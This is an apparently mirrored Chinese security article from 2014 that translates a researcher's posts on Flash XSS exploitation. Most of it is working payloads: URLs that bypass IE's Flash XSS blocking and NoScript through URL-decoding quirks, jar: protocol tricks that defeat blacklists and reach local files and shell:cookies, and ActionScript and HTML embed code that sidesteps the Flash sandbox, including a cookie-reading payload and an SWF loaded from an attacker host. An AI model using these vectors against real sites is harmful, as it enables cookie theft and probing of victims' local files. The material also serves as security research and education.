一些你可能不知道的Flash XSS技巧

wyzsk發表於2020-08-19
作者: mramydnei · 2014/02/19 10:16

0x00 前言


原文連結

http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-bypassing-the-guard ians-part-1/

http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl- and-jar-protocol/

http://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embed ding-a-flash-file/

可能在你開啟這個部落格的時候會有一絲的熟悉感。對,這就是那個發現 FCK 2.6.8 ASP 版二次上傳漏洞的人。博主是個很有意思的人,經常會在通知廠商修復之前就在演講稿子裡或文章中放出一些危害比較大的 0day。如果你之前沒有關注過這個人,也許在今後的日子裡關注他會讓你有一些意外的收穫。

0x01 繞過IE對Flash XSS的保護機制


在經過一些小的測試後發現,似乎只有IE會對下面這種Flash XSS進行攔截。如果你用IE10開啟下面的連結:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

那麼應該會在控制檯(用F12來開啟它)看到Access is denied的資訊。如果你嘗試用chrome,Firefox或opera來開啟這個連線的話,不出預料小框應該會毫無阻礙的彈起來。

然後我想到了一個辦法可以繞過IE的這種限制:

http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

URL中的“javascript:x="echo"”可以讓我們在當前頁面輸出這個echo。而且我們可以向上面的例子那樣包含一些HTML標籤,進而繞過這種限制。

0x02 利用Flash的URL解碼功能來繞過一些保護機制


如果你需要將你的vector傳送到藏在防火牆的後面受害者(flashvars­可以使用#來達到隱藏自己的目的)又或者想突破一些客戶端的XSS防禦機制這個方法將會十分的湊效。這一切都基於flash會丟棄一些被URL編碼過的無效字元。

(1)flash會丟棄兩個出現在%後面的無效十六進位制字元(([^0-9a-fA-F])),比如:

"%X" or "%="

(2)如果在%後面出現一個有效和一個非有效十六進位制字元,就會丟棄三個字元,比如:

"%AX" or "%A&"

小記:有時候ASCII值大於127的一些字元會被轉換成問號。當然這是發生在URL跳轉的時候。除此之外,被編碼過的BOM字元(“%EF%BB%BF”) 也可以用來替換空格。舉個例子來說,我們可以把“alert(1)”寫成“alert%EF%BB%BF(1)” 。

最後把這些都組合起來:

http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);

http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri %AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

2014021816521453755.png

成功了!我使用這個trick也繞過了noscript,不過這個漏洞已經在 2.6.6.8修復了。

0x03 真正的“勇士“jar協議


flash 會忽略 jar 協議並讓它變成一個透明的協議。換句話來說 javascript:alert(1)jar:javascript:alert(1) 在 actionscript 中是完全一樣的。這意味著我們可以使用這個方法來繞 過一些黑名單的檢測。讓我們先舉一個存在漏洞的例子:

#!javascript
varinput:String = root.loaderInfo.parameters.input; // input variable 
vardangerousInput:RegExp = /^\w\*script:.\*/i; // to cover javascript: and vbscript: protocols! 
if(!dangerousInput.test(input)) 
{ 
    // Safe to go?!!! --> No! What about "jar:javascript:"? 
    navigateToURL(newURLRequest(input),"_self"); // redirection 
} 

我們就可以使用先前提到的方法來繞過這個檢測:

2014021816525218614.png

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//

當然還有一個我認為是廣為熟知的技巧,就是在 firefox 裡使用 data URI。

0x04 使用“navigateToURL”來突破本地域的訪問限制


在預設設定當中 flash 不會允許你去訪問一些比較敏感的協議(透過 navigateToURL), 如:“File://” 或 “Ms-its:” 如果你直接嘗試訪問下面的連結:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\

你就會收到這樣的錯誤資訊:

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link\_protocol\_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources. 
at global/flash.net::navigateToURL() 
at MethodInfo-1() 
at flash.events::EventDispatcher/dispatchEventFunction() 
at flash.events::EventDispatcher/dispatchEvent() 
at com.powerflasher.SampleApp::link\_protocol\_test() 

我嘗試著在chrome,firefox和IE中使用jar協議來繞過這一限制,但是我並沒有在前兩個瀏覽器中成功。這也就意味著這種方式只適用於IE。下面是一些bypass的例子:

利用 jar 協議訪問 C 驅動器:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\

開啟 C 驅動器中的某個檔案:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml

開啟一些被限制的協議:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd- ab00-6e7ee4dddc16.htm

利用其它的一些技巧來訪問 C 驅動器:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/

那麼一旦這些限制被突破後,又會給使用者帶來什麼樣的風險呢?

1.被使用於一些敏感的本地檔案探測(探測防毒軟體的型別和版本等等) 
2.透過目錄和檔案來收集使用者資訊 
3.使用drag and drop來劫持一些敏感的本地檔案(我沒有辦法在這裡給出一些給力的POC) 
4.代替使用者來執行一些危害較大的本地檔案(html.,swf等等)。進而實現資料的盜取,遠端程式碼執行或一些其它猥瑣的事情。 

最後再獻上一個可以彈開你的CD-ROM的POC(測試於IE10),就像一些老的病毒一樣,試試看吧!

http://0me.me/demo/xss/flash/open_cdrom.html

0x05 繞過flash沙箱


我們都知道navigateToURL和getUR在flash XSS當中都是一些很常用的手段。但是大前提就是我們需要一個allowScriptAccess來得到指令碼訪問的許可。下面我將演示如何在不使用allowScriptAccess前提下讓指令碼執行起來。但是在這之前我們先要了解一下,使用allowScriptAccess的方法應該是什麼樣的。

首先是flash中AS程式碼的部分,我將分別給出AS2和AS3的例子。

AS3:

#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

AS2:

#!javascript
getURL("javascript:alert(document.domain)","_self");

然後我們的HTML頁面看上去,應該像這樣:

#!html
<objectwidth="320"height="240"classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><paramname="allowScriptAccess"value="always"/><paramname="src"value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"/><embedwidth="320"height="240"type="application/x-shockwave-flash"src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"allowScriptAccess="always"/></object> 

當然我們也可以試著讓它變得更簡短一些:

#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /> 

但是這個例子在IE下會報錯,如果想看詳細的錯誤資訊你可以嘗試使用debugger版本的flash.但是我們可以使用embed標籤,就像下面這樣:

#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object> 

在對使用allowScriptAccess的方法有了一些初步的瞭解之後,讓我們看看如果不使用它我們會碰到哪些問題。

1.navigateToURL或getURL所要跳轉的頁面不能設定為null/empty, “_self”, “_parent”, “_top”.

#!javascript
navigateToURL(new URLRequest("http://google.com/"),"_self"); 

2.我們不能使用javascript來完成跳轉

#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

看上去第一個問題並不是那麼難解決。我們可以使IFrame name, window.open, a標籤的target,或form的target等技巧來解決這個問題。而第二個問題我們恰好可以使用之前flash會忽視jar協議的特性來解決。現在讓我們試著把這些東西整合到一起。

AS3示例:

#!javascript
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme"); 

AS2示例:

#!javascript
getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme"); 

最後讓我們來完成它。假設有一個存在XSS漏洞頁面如下:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

如果我們不使用name,那麼下面的方法只能應用於firefox。

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>

2014021816544865336.png

但是我們也可以使用name來讓它變得可以在其它瀏覽器中執行。

#!html
<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

這裡的embed標籤也可以被object標籤所取代。不過最終Adobe出了個新補丁封殺了jar協議。印象中是上個月的17號出的。所以如果你想親自測試一下可能需要你手動安裝稍微老的flash版本。如果你是kali linux使用者,並且喜歡使用firefox那麼這個繞過flash沙箱的方法對你來說應該是輕易可以實現的(我沒有特意去更新FF的flash外掛,所以在我這裡一直是可以用這個方法的)。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章